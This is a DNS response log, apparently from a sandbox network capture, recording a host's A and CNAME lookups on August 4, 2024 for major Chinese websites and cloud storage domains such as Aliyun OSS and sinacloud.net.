Aug 4, 2024 10:57:17.630978107 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		161.117.242.92	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:17.853394032 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.853394032 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:17.853394032 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:19.202663898 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:19.202663898 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:20.098238945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:20.098238945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:20.112198114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:20.112198114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:20.261564016 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:20.261564016 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:25.256071091 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:25.256071091 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:25.505698919 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:25.505698919 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.951319933 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:27.951319933 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.951319933 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.951319933 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.951319933 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:27.961329937 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.128659010 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.181334019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.181334019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.181334019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.181334019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.181334019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.194	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.195	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.189	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.191	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.193	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.192	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.190	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.261228085 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494702101 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494832993 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494832993 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494832993 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494832993 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.494963884 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495045900 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495199919 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495199919 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.132.73.61	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.495229006 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.503293991 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.503293991 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.503293991 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.503293991 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.510135889 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.510135889 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.510135889 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		163.171.132.119	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.605611086 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.605611086 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.657851934 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.657851934 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.65.181	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.665745974 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.665745974 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.665745974 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.665745974 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.697005033 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.718856096 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.718856096 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.734524012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.734524012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.734524012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.734524012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.739629030 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.739629030 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.739629030 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.236.64	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.739629030 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.112.18	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.741024971 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.741024971 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.742687941 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.780761957 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.780761957 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.199.199	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.780761957 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.199.200	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.796880007 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.796880007 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.180	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.796880007 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.181	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.805597067 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.824641943 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.824641943 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.130.237	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.843117952 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.843117952 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.862071037 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.210	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.212	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.209	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.216	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.217	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.215	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.211	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.930238962 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.131.208	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.935669899 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:28.935669899 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.152.186.103	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:28.963362932 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.005573988 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.270880938 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271271944 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271338940 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271338940 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.271338940 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.277447939 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.277447939 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.277447939 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.277447939 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278498888 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278498888 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.147.185	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278498888 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.128.148	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278739929 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278739929 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278739929 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.278739929 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 4, 2024 10:57:29.314950943 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 4, 2024 10:57:29.314950943 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
